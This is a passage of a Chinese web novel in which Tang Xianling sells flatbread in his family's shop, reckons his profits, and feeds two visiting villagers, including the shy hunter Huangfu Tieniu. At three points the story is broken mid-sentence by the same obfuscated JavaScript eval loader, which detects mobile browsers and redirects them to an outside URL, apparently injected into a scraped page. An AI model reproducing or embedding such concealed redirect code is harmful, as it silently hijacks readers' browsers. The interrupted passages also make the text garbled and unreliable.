“什么饼让你给这么吹，莫不是收了钱吧？” “胡扯，别说八兴坊，就是东西两市给我塞钱让我胡吹，你看我崔大宝吹不吹！” “我逗你的，莫生气当真了。”食客忙说。 崔大宝哼了哼，露出一副‘不知道好歹老子懒得说了’的神色，坐回原位喝羊杂汤了，他一边喝一边吃锅盔，吃完了两只锅盔还有点意犹未尽，这副表情其他人看去了。 “我的不是，大宝兄弟，这饼真那么好吃？我也买来尝尝。” 崔大宝是个论起吃的肚量很大的人，便大发善心说：“就是老汤家铺子，你只管去，才出炉的最香了，梅干菜五文钱，豆沙四文——” “什么？！就那薄薄的饼就要五文钱？”食客惊了。 崔大宝嘴脸不同了，摇头晃脑，“值！”他想着等喝完了羊杂汤，溜一圈消消食，再去买一个梅干菜的吃。 另一边，汤家铺子隔壁。 卢大郎：“爹，我就说了，昨个儿晚上我准没闻错，就是隔壁飘来的香味。” “哥，我去看了，是小汤哥再卖饼。”卢三娘今年十三，梳着双丫髻，绑着红绳，身上裙子颜色也新鲜，显然是才裁的新衣裳。 卢家前面两个儿子，唯有一个三娘，很是受疼爱。 卢三娘知道大哥要说甚，神神秘秘凑近了，她看爹娘没注意，才说：“那锅盔饼可贵了，要五文钱一个。” “有人买没？”卢大郎问。 卢三娘点点头，小声给传信：“先是有人吵嚷说贵，后来崔大爷买了饼，要了两个，之后便卖开了，汤婶婶和汤五哥就没停——” “那肯定很香了。”卢大郎斩钉截铁说。他昨个儿闻到了，此时心里更好奇，那是什么饼，因他要干活，便跟妹子交代，“你去看看，一会我拿了银钱，大哥请你吃饼。” 卢三娘扬扬下巴，“成交！” 汤家铺子只开了一个铺子门，早上阳光透进去，很是亮堂。 蒋芸没想到生意这般好，又开始烧第二个灶孔烤炉，汤显灵则是负责做，一双手纤细灵巧，怎么揪面剂子，怎么搓开，早调好的梅干菜肉馅包进去，掌心一摁就开来，撒上芝麻，顺手送进烤炉。 “汤嫂还得多久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324050|167339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？”、“我要两个豆沙的。”、“到我了没？” 烤炉一直是热的，温度正合适，因饼薄烤起来很快，豆沙的六分钟左右，肉的八分钟。汤显灵一边做一边回话。 卢三娘就守在一角听着声，等了一小会，听到小汤哥说好了，铺子里等的食客都上前了，卢三娘个头矮在外围看不清里面什么景，但是她闻到了香气！ 都闻了许久，却一点都不腻，甚至勾的人肚中越发馋了。 汤婶婶说：“您的豆沙的。”、“诶慢些，小心烫。”、“梅干菜肉的还得再等一小会。” 就听小汤哥喊：“娘，梅干菜肉的也好了。” 铺子里只响起咔擦声，还有说香、这梅干菜还是头一次吃、肉也香不腻的、真是猪肉？吃起来不同寻常啊、有香料调的吧、那五文钱也不贵了。 卢三娘只咽口水，跑回去跟大哥说：“大哥大哥，已经烤到第三炉了，汤家铺子人可多了，我都钻不进去前头，也没拿钱进去了什么也不买挡人路。” “大哥，你说一会该不会要卖完了吧？” 卢三娘脸上都是操心。 卢大郎早拿了钱，此时递给妹子，本来说买一只尝尝味，现在听了一早上闻了一早上香味，卢大郎临时改了主意，“买两个，一个梅干菜一个豆沙。” “行，我去蹲。”卢三娘拿了钱跑的快。 今个早上正街食客手里都多了一张没瞧过的新饼，说是老汤家铺子开门换了五哥儿做朝食买卖，这饼叫锅盔，街上坊间新鲜事一会就传开来。 周香萍拎着早饭篮子去铺子送水，见男人正切肉，朱四一看媳妇过来，说：“等会吃，今个生意挺好。” 等送走了买肉客人。 朱四擦了擦手，接开了篮子一看，除了个水罐子哪里有吃食？又去看媳妇儿。周香萍说：“昨个儿说好了要去汤家铺子买朝食，我就没带早饭，只带了水壶来。” “还吃什么啊。”朱四合上了篮子，“你定是不知道，汤五哥儿那饼要卖五文钱。” 周香萍微微张了张嘴，又想：“那饼估摸大吧。” “大是大，不过薄的厉害。”朱四摇头，“贵了。” 周香萍：“你怎么知道的？” “来买肉的客人吃过说了，说什么香的紧，是有点贵但是就是好吃云云，我看这么贵的饼，头一天图个新鲜气，过去了定不好卖。”朱四信誓旦旦说完，知道媳妇儿说话算数，他也不是抠的，就说：“你不信你去买，咱们尝个稀罕味。” “我跟你说，五哥儿还是人年轻，汤嫂子也不劝着点，这买卖做的长久不了。” 周香萍听得好奇，“那我去买个尝尝，反正就这么一回，谁叫我昨个儿背后说人，虽是没说什么坏话但到底应承了今日买饼。”说着便去汤家铺子。 待走到了，铺子前头人挺多，吵吵嚷嚷的有些声响亮。 周香萍乍一听心想不好，莫不是贵了食客闹起来了？汤嫂子一个女人带着五哥儿做买卖，五哥儿又死了男人是个寡夫郎到底是势力单薄了些，饼价要的贵，怕是买过了回头越想越不舒坦得闹一闹说些贵了的话。 做买卖确实要长久，自家男人说的也是有道理的。 “……实在是对不住，没有了。” 汤显灵在旁也解释：“我头一次做朝食买卖，心里没底儿，准备的货不多，今个谢谢大家捧场，面团子、馅料真卖光了，余下的边角料不好卖给各位，各位明日再来。” 人群中的崔大宝：！！！ 啊啊啊！！！ 他就是消个食这就卖没了？ 旁边捧着两张饼的卢三娘宛如是得了大宝贝，赶紧脚底抹油往回跑，因为太高兴，也顾不得小声跟大哥说，“大哥大哥，咱们俩运气真真好，最后一锅饼，让我买上了！” 门口捏着五文钱的周香萍：？ 啊？ 没了，这就卖光了？ 食客散去，蒋芸见周香萍来，想起昨日周香萍说来捧场的话，顿时面上不好意思，“对不住了，没想到这么快卖光了，香萍你心意我们领了。” 周香萍恍恍惚惚，隐约还能闻到汤家铺子残留的香味，她转身回去，刚嫌贵，现在空手而归，反倒是勾起了好奇，倒是想尝尝那卖光的饼到底何滋味。 朱四见媳妇儿空着手，故意揶揄说：“怎的？那饼这般好吃，这就吃完了？”莫不是临到铺子见了那薄饼，媳妇儿嫌贵了没买吧。 不买也好，他们也不欠汤家什么，非得花钱买个贵饼吃。 周香萍看男人，说：“你猜错了老朱，五哥儿做的饼卖空了，我去晚了，那些食客都有些遗憾没买到。” “你说那锅盔到底什么滋味？” 朱老四：？？？ 五文钱的饼，这才几时，就卖空了？ 9.第九章 第九章 蒋芸是做梦也没想到卖的这般快，还没怎么出力就卖完了？ 她跟汤父做馎饦买卖时，也要起个大早，熬羊汤肉要新鲜，丈夫大早定了羊，她的在家收拾铺子，之后吊羊汤、揉面都是丈夫来，丈夫不让她待在铺子案头。 一般是早上巳时多开门，卖到下午酉时多点。 除却揉面熬汤，剩下的都是她来干，招呼客人、收钱、倒茶水、洗碗筷、打水等等。这一干就是三十多年，她已经习惯了，也不觉得累人，最初是可累了。 朝食卖的早，辰时或是更早得开张，那就是早上六点多。汤显灵开门时大概七点一刻钟，到了八点半左右卖干净了。 隔壁卢氏馒头铺还卖的正兴旺。 汤家铺子这就关门了。 有起得晚的食客优哉游哉上街来，一看汤家铺子今个开了门还有人在那儿，便纳罕询问人：“老汤家今个开门了？” “不是，他家五哥儿卖朝食。” “诶，那得看看捧个场，老汤一倒这些月——” 然后就被人叫回来了，“别去了，都卖完了。” 食客停下了脚步，很是不可思议：“这才什么时候就卖完了？！”而后笑说：“我知道了，定是汤小哥儿胆小备的东西不多吧。” “是不多，我都没买到。”那人说，脸上还带这些遗憾来，“我也是听其他人说，早上汤家五哥儿铺子生意很红火，崔大宝吃了一茬，第二茬来买时扑了空，嚎了半晌，说明个他得早到了。” 食客听的逗趣，心里不信，怕是胡传的，脚下拐着往卢氏馒头店去了，随口说：“这般好吃？是卖什么？跟他爹一般卖羊肉？卖羊肉的话这会早了些。” “不是，听说是锅盔。” “什么锅盔？” “这我哪知道，我也才来。” 二人闲谈被卢三娘听了去，卢三娘刚吃完半个梅干菜锅盔还有半个豆沙口的，特别特别好吃，现在嘴巴都是香香的，听见客人问，便脆生生说：“是锅盔薄饼，烤的香脆，里面两种馅，都好吃。” 俩食客一下子笑了起来，故意逗三娘，“比你家馒头还好吃？”、“三娘定是吃过了。” 卢三娘被问的不知如何回答，她私心里自然觉得小汤哥做的锅盔比她家馒头好吃，可不好这般回答，正犹豫呢，见俩食客哈哈大笑，卢三娘便不高兴，食客拿她逗趣玩。 “三娘，去后院，娘叫你。”卢大郎喊了妹子去里间，热情招呼俩人要点什么。 “四个素的、两个肉的再要三个馒头。” 卢三娘回到后院，听见阿娘唤她，便跑了过去，一边哼哼跟阿娘告状，说门头两食客故意逗她，她不喜欢。 陈巧莲蹙着眉，看闺女亭亭玉立模样，心想三娘十三了长成了大姑娘，是不好经常往铺子前头去忙活，嘴上说：“今个你大哥给你钱买吃的了？” “娘你怎么知晓的？”卢三娘懵住了睁大了一双眼。 陈巧莲噗嗤笑了，旁边卢父正看着驴拉磨，听见了哈哈笑说：“你大哥是个爱吃的，今个你们兄妹二人神神秘秘，你买了饼回来高兴的嚷嚷家里都知晓了。” “三娘，汤家饼可好吃？”陈巧莲问。 卢三娘忙点头，如何如何滋味说了一通，又懊恼：“我怕你们说我，就和大哥偷偷买来尝尝，还没给爹娘吃。” “无事，明日你再去买，给你二哥留一个。”陈巧莲笑眯眯，“你二哥明日从药堂回来。” 卢家两子一女，卢氏夫妻在孩子年幼时就想好了，挣得店面是老大的，但也不能亏待老二，得给二郎留个安生立命的本事，在卢二郎五岁时，夫妻俩人便送二郎去学字，十三岁时托关系送二郎去药堂当学徒。 现如今卢大郎十八了，可以相看女郎，找媒婆定婚事，二郎十五，再过几年，还得给二郎买个小院子成家，三娘嫁人也得攒攒嫁妆，不能让夫家看轻看低了去。 因此夫妻俩过日子上比较省，但是对着孩子们偶尔馋嘴闹着吃一吃外食，两口子是纵着的，别说小女儿了，就是卢大郎贪嘴性子，卢父也是睁只眼闭只眼。 “那我明日要早起去守着。”卢三娘高兴说。 陈巧莲好奇：“真那般好吃？我今个是见了隔壁卖的快。” 卢父接话：“可不是嘛，卖的可快了，不过听汤嫂说没准备太多。” …… 汤家小院。 铺子门关了，蒋芸收拾烤炉还有装饼用的竹编簸箕，馅料盆子也得收了洗了，五哥儿不让她干，让她歇一歇，蒋芸嘴角有些笑意，说：“这算什么活，轻巧着呢，不累人的。” “我和你爹做了这么些年买卖，从没像今个这般省力。” 自然了，羊肉馎饦赚的也多，不过虽是她收钱，但是关了铺子盘账算账，全都是丈夫做，不让她拿钱的。 汤显灵听蒋芸这般说，还是一块收拾了。 二人三两下搞定，汤显灵开始算账，“今个梅干菜肉的卖了六十六张饼，豆沙馅的卖了五十三张。” “肉的五文一张，六十六张，那就是三百三十文。” “豆沙四文，五十三张的话，二百一十二文钱。” 汤显灵在纸上算数学题，今日进账五百四十二文，这就是半两银子了。 成本他之前就算过。 “两斤梅干菜三斤猪肉，梅干菜成本六文钱左右，猪肉十八文，这就是二十四文，豆沙四文一斤，买了两斤，八文，面粉十斤，买的粗一些，这是六文钱一斤，算上来六十……成本是九十八文。” “还有油纸，这个略贵一些，三十文，不过剩了许多，能用个两三日，炭火自家的没算，我估摸加上，红糖、香料、酱、油，之前蒸梅干菜的炭火等等，这些要近一百文。” 今日收入542，成本198。 蒋芸听得眼神睁大了些，五哥儿挣得虽是不如馎饦店多，但是短短一个早上都算不上，赚这么些，已经很是厉害了。 汤显灵感受到蒋芸‘灼灼’目光，而后一笑，“阿娘，我还没算铺子钱，现在用家里的铺子，这朝食买卖，要是推车摆摊的话成本又会增加，每个饼赚个一文半，若是小铺子要付租金，那就赚的更少了。” 所以他才定价五文钱。 “就说隔壁卢氏馒头铺子，他家生意好，从早卖到晚，赚的是薄利多销的钱，素、荤馒头滋味都寻常，但是馒头大，料足，所以买的人也多些。” 他家锅盔要是三文钱的卖，那真是要跟隔壁馒头店那般得卖一天，一天下来赚个辛苦钱—— 蒋芸年纪不小，而他身板子单薄，真是拿身体耗着赚钱。 卢父、卢大郎他可见过，身量不是顶高但都是一副粗壮身板，人家买粮还是从城外村里买，买来的是麦子，回头在自家院子磨成粉，成本更低，所以人家敢卖那个价钱。 即便是坊间正街铺子比东西二市都低一些，但像卢氏馒头店那般的价格，整个街上还真不多见。 他之前为了省钱，买的是粗粉，回来要自己再磨一边，过筛再去一次麦麸，他的腰都快不行了。下次买粮还是买精面粉，贵一文就贵吧。 这样算，起码盈利和成本对半分是能保持住的。 “今个生意比我想的好，不过咱们梅干菜也没多少了，这个季节怕是野菜也快过去——” 蒋芸刚还欣喜，此时听没野菜了，不由愁道：“那可怎么办？” “其他菜都行，我想着得去问问大姐，他们村里有没有种菜多的，到时候让她送，狗娃村离奉元城远，我上次顾前不顾后，说完忘了这茬，那小孩要是回头送菜路上出了什么事。”汤显灵说到此眉头皱了下。 他对自己手艺有信心，毕竟也算是开了外挂，但是真是第一次做买卖，真卖起来，还是显得稚嫩，缺少经验。 梅干菜做少了，而且晒梅干菜讲究天气，要一连大热天大晴天，他家现在灶屋就剩十斤挂一点的梅干菜量，怕是没几天卖了。 但最最要紧的还是汤显灵担忧——狗娃送菜路上可别出岔子。 其他倒好说，梅干菜没了，那就先歇业，或是改卖别的也行，反正是朝食铺子，汤显灵不想干一天太辛苦了，他得好好养好身体，蒋芸也养养，母子俩是面黄肌瘦，蒋芸面上皱纹都带着苦相。 蒋芸点点头，也不知说什么，她觉得五哥儿能自己拿主意了，比她想的还要周到，明明她也算是做了三十多年买卖，此时好像意识到，自己以前只算是雇工似得。 进货、采买、记账，她都不会。 砰砰—— “外头敲门，娘我去开门。”汤显灵顺手把放铜板的木匣子塞到蒋芸手里，“你收起来，我估摸是狗娃来了。” 算算日子，正好今日。 开了门，汤显灵先看到全须全尾的狗娃，松了口气，目光上移见到狗娃后的皇甫铁牛——还是个让人眼前一亮的帅哥。 “进来坐啊。”汤显灵热情招呼人进。 狗娃已经说起来，“汤夫郎，这次又是铁牛哥和我一道，他本事好厉害打着了一只鹿——” “鹿？！”汤显灵震惊，看向皇甫铁牛。 铁牛说：“鹿我先送到西市酒楼卖了，要趁着鹿还未死，最好卖。” “原来是这样啊铁牛哥！”狗娃才知道，难怪铁牛哥先往西市跑，他还想铁牛哥陪他一道来奉元城，先办铁牛哥的事也是应该的，他可以自己去八兴坊，只是没想到铁牛哥说：卖了鹿一道去。 狗娃就点头。 汤显灵看二人辛苦，“你们先坐，歇歇脚，我去倒些水，对了你们吃了没？” “无事。”铁牛说。 狗娃：“我出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330682|167339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门前吃了俩烤土豆。” “那都几时了。” 狗娃以为汤夫郎问时候，直喇喇说：“我出门时天大黑，应该是后半夜了。” 那就是凌晨之后，不知是两三点还是四五点。 汤显灵忙说：“我去隔壁买些馒头，你们歇歇脚喝点水，要是不赶路，一会在我家吃了休息好了再回。” “没事没事汤夫郎，我不饿的。”狗娃忙说。 汤显灵已经去后院端水。 狗娃同铁牛哥坐在铺子里凳子上，也不乱看，小声说：“汤夫郎人真是好，只是村里实在是没野菜了。” “要是有野菜，我倒是不怕辛苦走这么远路来送菜。” 皇甫铁牛瞥了眼狗娃，说：“你路上不是这么说的。” 狗娃不好意思挠头，他路上走走歇歇确实累人，就想没野菜了，正好可以不再送菜，可到了汤夫郎铺子里后，汤夫郎为人好，就又忘了刚才的累。 没一会蒋芸和汤显灵到了铺子前面，给狗娃、铁牛送了水不说，还有可以擦洗擦洗的脸盆水。 “阿娘，我去隔壁买馒头。” 汤显灵拎着篮子去隔壁买馒头，两只素包两只肉包，一想到皇甫铁牛个头还有尽管穿着衣服，袖子也挡不住隐隐的肌肉，又买了六个大馒头。 铺子门没关，几人就在铺子里说话。 汤显灵招呼二人先吃包子垫吧垫吧，又说：“馒头我要冷的，切成了丁，家里还有个鸭蛋配着点菜炒一锅，娘，今个晌午就不做饭了，凑合一道吃了。” “行，听你的。”蒋芸对午饭怎么吃没意见，她现在记挂旁的事，虽说那胡康是个坏的，但到底才死了没半年，如今守寡在家，怎么说也得一年半载后再找媒婆来寻男郎。这两个送菜的，年岁小的还好说，旁边有个正是适婚男郎，在铺子里待得久了，她怕坊间邻居误会了去，对五哥儿名声不好。 说五哥儿浪-荡什么的，以后五哥儿可怎么再嫁。 汤显灵完全不知道蒋芸操心‘男男大防’这事，蒋芸一贯愁眉不展，一点点小事就会让蒋芸成为惊弓之鸟，汤显灵已经习惯了。 对他来说，皇甫铁牛长得帅气，他就是看看，真没蒋芸想的那么多——帅哥谁不喜欢多看两眼啊。 上辈子，他到死都是个寡王，惨。 汤显灵是喜欢男人，还喜欢看脸，只是他在现实里怂的紧，不敢找，还喜欢长得帅、品行好，最最主要是有感觉。 感觉这事太模糊了，朋友都说他是故意推脱不想找。 汤显灵：清汤大老爷冤枉啊！ 灶屋里，汤显灵手上切着馍丁，因为皇甫铁牛的到来，勾起了一些恋爱观回忆，不由嘀咕：幸好幸好，胡康那死老头已经死了，要是穿过来守这么个干瘪老登—— “不如死了算鸟！” 汤显灵说完又一顿，“我就是死，都得偷老汤头的钱买点老鼠药把胡康那想吃绝户的恶毒干瘪老登毒死才能走。” 蒋芸在前头铺子待不住，过来看看五哥儿，还没进灶屋听到五哥儿说这等话，吓得先张望，见外人坐在铺子中，才松了口气。 幸好没人听见。 可能说老登老登到——汤父醒来了，又是扯着嗓子骂骂咧咧喊蒋芸，意思蒋芸对他不上心，死到哪里去了。 蒋芸应了声，忙去东屋。 汤显灵手里的刀下了狠劲儿，只能剁剁馍丁了，馍丁切好了，蒋芸进出端热水伺候丈夫擦洗，汤显灵在锅里下早上切出来的肥肉，肥肉滋滋啦啦作响，没一会变成了油脂、油渣，油渣也不用捞出来，下葱花、打散的鸭蛋液，香味一下子出来了。 他在末世研究过自己的‘异能’。 经过他的手，可以让食物原本的香味激发出来，食材与食材更能融合到最高最好的香味，哪怕不是食物的树叶，去了苦涩、干噎等，也能有点好吃了。 现在天然的食材，在他手上更别提了。 以前是三分变六分，现在就是优秀分。 鸭蛋炒的松散黄澄澄，盛出来，挖了点猪油滑锅，倒入切好的馍丁、野菜开始翻炒，再倒入炒好的鸭蛋，开始调味。 他为了调肉馅，买的香料按比例磨成粉，舀了一小勺倒进去，大铁锅中馍丁表面沾了油脂变得略微焦黄一些，颗颗分明，与鸭蛋、葱花、野菜碎完美融合到一起。 前头铺子，狗娃都快坐不住了，吸了吸鼻子，“铁牛哥，好香啊，比我刚吃的羊肉馒头还要香！” 汤夫郎给他买了羊肉馒头，他是舍不得吃的，但也不好意思带回家给家里人尝尝——汤夫郎好心意，他还是吃了吧。 刚觉得热气腾腾的羊肉馒头就是他吃过最好吃的了，现在狗娃又忘了羊肉馒头香味，巴巴的伸着脖子看后头。 冷峻寡言的猎户皇甫铁牛，此时肚子咕的叫了声。 10.第十章 第十章 汤父又在东屋骂骂咧咧。汤显灵已经习惯了，当耳旁风，那些话连往耳朵去都不会去，不知道蒋芸说了什么，汤父那一连串的话突然停了，整个东屋安静了下来。 汤显灵还有点不习惯了。 馍丁炒好了，东屋还很安静，汤显灵：？老头又憋着什么坏？ 于是掂着大勺往东屋去。 汤显灵还没走到门口，就听蒋芸声：“……一个时辰不到，五哥儿就赚了二百多文钱，他现如今可厉害了，今个早上买的人多，就是崔大爷也来买了。” “崔大宝？他是爱吃的，肯定是想来吃我做的羊汤馎饦。”汤父哼哼，对蒋芸说的话不信，横挑眉毛竖挑眼说：“你就是怕我骂五哥儿废物、赔钱货，才在这儿说他那些好话，坊里我老汤做了这么多年买卖，谁不给我几个情面，看到铺子开了门，来买几个饼，那是五哥儿做得好？那是人家看我面子上呢。” “光就靠他？哼，等着些，没个几日就没客人了，真是祸害，到时候赔了我馎饦店名声，我跟你说，明个儿开张不许用我的名……” 又一串的咳嗽，质问蒋芸听见了没。 汤显灵拿着大铁勺进了屋子，“谁稀罕用你的名声。”他知道蒋芸想给五哥儿在汤父面前‘争一口气’，证明些什么——五哥儿不是晦气的、赔钱货等。 但他汤显灵才不在意一个老头子看法。 他和汤父没感情的，若汤父是个慈父，对原身五哥儿慈爱一些，那他看在五哥儿面子上，也会对汤父多多照顾些，现如今—— 汤显灵也哼哼两声，谁不会冷嘲热讽似得！ “孽障，你想杀了我不成？”汤父看五哥儿拿着大铁勺冲他来就气得不成，肺要炸了似得喘气。 汤显灵：……杀你？那我还得蹲大牢赔命，赔本的买卖，他才不干。 “五哥儿你少说两句。”蒋芸来打圆场，手给丈夫顺气，“他没旁的意思，估摸是喊我吃饭的。” 汤显灵气到了人，高兴了，说：“阿娘，我午饭做好了，吃饭吧。” “你先吃，给我留上就行。”蒋芸忙说。其实刚才她还想，铺子里有外人在，一会吃饭她得在前头，为了五哥儿名声，可不能让坊间邻里乱嚼舌头，结果现在丈夫这般，她走不利索。 汤显灵应了声，出了东屋直奔灶屋，锅里馍丁先给蒋芸留了一大碗，再给皇甫铁牛、狗娃和他盛了，三个大碗，汤显灵端着托盘去了铺子。 许狗娃坐不住，见汤夫郎来了，早早起身相迎，接了托盘，“汤夫郎，我来拿，你做的饭可香了，我刚就闻到了香味。” “哈哈，不是正经饭，炒了馍，对付吃一口。”汤显灵招呼二人坐，说：“我娘要照看我爹，在后院吃，咱们吃吧。” 铺子门开了一扇，正是快晌午，外头光线照在四四方方桌子前。 皇甫铁牛有点拘束，看了眼汤夫郎，汤夫郎正好看他，定了定，皇甫铁牛移开了目光不再看，只是脸有些烧，他想幸好自己黑，汤夫郎应该是看不到的。 “你们别客气拘束。”汤显灵笑眯眯跟许狗娃说，心底却想，皇甫铁牛这个人就跟他的名字一样，乍一听有些违和但放在本人身上又意外的融合。 是山间行走奔跑的猎户，少年人的俊朗，气质沉稳，可能因为要狩猎，需要耐心，话不是很多，却又因为那一张脸那样的身材，不像是普通寻常猎户似得。 汤显灵对皇甫铁牛好奇归好奇，手上还是先干饭！ 他上辈子可真是饿死的。 许狗娃刚明明吃了俩羊肉馒头，解了饿，可现在对面前的馍丁狠狠地咽口水，他看汤夫郎吃了起来，也不再客气，拿起筷子扒拉一口送嘴里，但是刚入口，眼睛都亮了，说了声好吃。 “是好吃。”汤显灵对自己手艺很欣赏。 三人一边吃饭一边聊天，汤显灵身上自带的一股亲近，闲聊很是自然。 “你阿姐妹子给你分钱了？” 许狗娃腮帮子鼓鼓的，先是嗯了声，咽下口中东西，说：“我大姐说我跑腿辛苦，让我拿十二文钱，不过我没要，还是和她们分，摘野菜找野菜都是大姐和四妹干的。” “蛮好的，互相帮助，兄弟姐妹情分才浓。”汤显灵说。 许狗娃扒拉着馍丁，香的舌头都能吞下去，只能嗯嗯点头回应，等吃完了嘴巴里食物，才抽空说：“汤夫郎你这馍丁怎么做的，可太好吃了。” “我是寻常炒一炒，冷馍、鸭蛋、野菜，用猪油炒，谁让我本事大，什么东西经我手做出来滋味不同寻常。”汤显灵一个膨胀自信。 这番话由汤显灵说，没有半点欠揍感，反倒让人觉得逗趣。 许狗娃听了就笑起来，“汤夫郎，你做饭好吃，说话也有趣。” “实话实说罢了。”汤显灵笑呵呵。 顺手给许狗娃杯中添了水，拐着弯到了旁边一直没开口的皇甫铁牛杯子前，他手刚挪到那边，就看到皇甫铁牛冷峻的脸先是看他一眼，很快撇开，又有些不知道目光放在哪，最后抱着碗挡住了脸。 嘿嘿。 铁牛真的有点憨憨的。 但因为铁牛长得好，不是那种笨傻的憨。 “铁牛你会识字吗？”汤显灵突然问起皇甫铁牛来，理直气壮想不能厚此薄彼，光顾着跟狗娃聊天，怠慢了铁牛。 皇甫铁牛手里筷子一停，抬眼看了过去，“会。” 汤显灵注意到，许狗娃听到这句话看了眼皇甫铁牛，面上有些小惊讶，狗娃对皇甫铁牛不熟，之前都不知道铁牛会识字。 事实上，非但如汤显灵推测那般，许狗娃也是上次才知道村里猎户铁牛原来有姓，姓皇甫，他都没听过这个姓。 他还以为猎户跟着老猎户姓的。 “我看你长得就像会识字的。”汤显灵笑了下，“我猜对了。” 皇甫铁牛嗯了声，又吃起来，只是吃饭速度慢了些，像是等着汤显灵问他什么好方便作答。 “一会吃完了，能不能帮我个忙？权当今个饭资。”汤显灵说完，又忙道：“放心，我这儿不是黑店，肯定不会让你吃亏。” 皇甫铁牛看了过去，见汤显灵脸上的笑，像是被烫到似得嗯了声，又补充：“你尽管说。” “帮我在铺子门上写个汤五哥朝食。”汤显灵道。 汤老头不让他借了铺子名声，他还想汤老头别蹭他流量！ 皇甫铁牛点了点头，说好。 午饭风卷残云吃完，许狗娃直打嗝，他吃得快有点噎，不好意思正抱着杯子喝水。 “你等等，我找笔墨来。” 汤显灵往后院去，取了笔墨回来递给铁牛。 皇甫铁牛接过笔，蘸了蘸墨汁，拿着笔去了铺子外，侧头问：“写在哪处？” “我看看。”汤显灵引着皇甫铁牛到了烤炉那处门外，指着靠墙的门板说：“就写这里吧。” “别加儿字。” 皇甫铁牛笔尖一顿，看了过去。汤显灵没解释，只说：“我卖朝食，靠的是手艺，谁挑这个刺，别来就是。” “你也觉得不妥当吗？”他看向铁牛。 要是铁牛觉得不妥——汤显灵磨了下牙。 “没有不妥，你的买卖，你喜欢就好。” “不过若是男子，要写汤五郎朝食。”皇甫铁牛执笔看过去，意思写哪个。 汤显灵：…… 铁牛同学竟然知道他想什么，还很听他的，现在一脸‘是男是哥儿您只管开口我写就是’的听话模样。 “汤五哥朝食吧。” 写完后，汤显灵笑眯眯道谢，皇甫铁牛见汤显灵的笑容，顿时手脚都不知道放哪里。 “我把笔墨拿进去。”皇甫铁牛说着进了铺子，背影走路手脚都有些同手同脚。 嘿嘿，还是年轻，这就害羞了。 汤显灵看着铁牛背影回到铺子中，没急着走，看向门板上五个字，他也不是大书法家，认不出字好坏，铁牛写的字端端正正、铿锵有力、斩钉截铁，很好。 于是觉得自己很大且撩帅哥有经验的汤显灵背着手悠悠哉哉回铺子里了。 实际上，皇甫铁牛今年十七，他二十一，若是按照上一世年龄计算，那汤显灵确实大一些些，他那会都二十五啦！ 他就不会害臊！ 汤显灵在心里叽叽喳喳想，忘了自己现实里怂的厉害本性，这也就是二人现在言语简单闲聊，皇甫铁牛话少单纯，换做真真-刀实-枪来谈恋爱什么的，汤显灵是第一个怂的。 回到铺子，开始清点许狗娃带的野菜，结账。 许狗娃刚吃了汤夫郎的饭，想了一路说不好送菜，这会支支吾吾说不出来，可见是吃人嘴短。汤显灵瞧出来了，先说：“狗娃，你家路远，外加上快立夏了，怕是没多少野菜，这次结完账之后就不用送了。” “那汤夫郎你买卖怎么办？会不会耽误你的事？”许狗娃操心道。 汤显灵：“没野菜换旁的菜，奉元城菜多，放心吧。” 许狗娃这才松了口气，想到什么，说：“汤夫郎，我今个吃了你的肉馒头还有晌午饭，你给我二十五文钱就行了。” “拿着吧。”汤显灵一文也没少狗娃的，看向狗娃，目光向上移了移，望着铁牛的俊脸，笑眯眯说：“我难得去西市逛，遇到了你们也算缘分，以后就是不买你的菜了，你要是来奉元城，想吃朝食来我家，或是遇到了什么难处也能来。” “铁牛，你也一样。” 皇甫铁牛看了过去，手心里握着的银钱因为汤显灵这番话，踌躇了一二，到底是没掏出来，汤显灵不想同他们掰扯太清，太生疏，言语间他们似乎是朋友了。 若是如此，下次是不是能来找汤显灵？ 可是他也无事找汤显灵，他不卖菜的。 “那汤夫郎，我们走了，今日真是谢谢你了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336517|167339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”许狗娃高兴极了。 今个什么都顺顺当当。 “下次见。你们就是路太远，来得晚些，不然定要你们尝尝我做的锅盔，我自夸，可好吃了，一扫而空。” “好了狗娃你可别嘴快又应上了。”汤显灵忙说。 许狗娃：！！！ 汤夫郎怎么知晓他要说下次他早点来买朝食的？ 要是赶早来，那得赶整个夜路哩。 许狗娃嘿嘿笑，往出走，走了几步停下看过去，“铁牛哥？” 皇甫铁牛同汤显灵点了点头，似是告别，这才抬脚跟上许狗娃。二人背影挤在人群中，没一会便看不见了。 一路上，许狗娃还在说：“汤夫郎做饭可真好吃，我还是头一次吃到这么香的炒馍丁，馍丁还能炒来吃，回去我求阿奶也做来，希望能有汤夫郎做的香。” “汤夫郎人好热情，还招呼我们吃饭。” 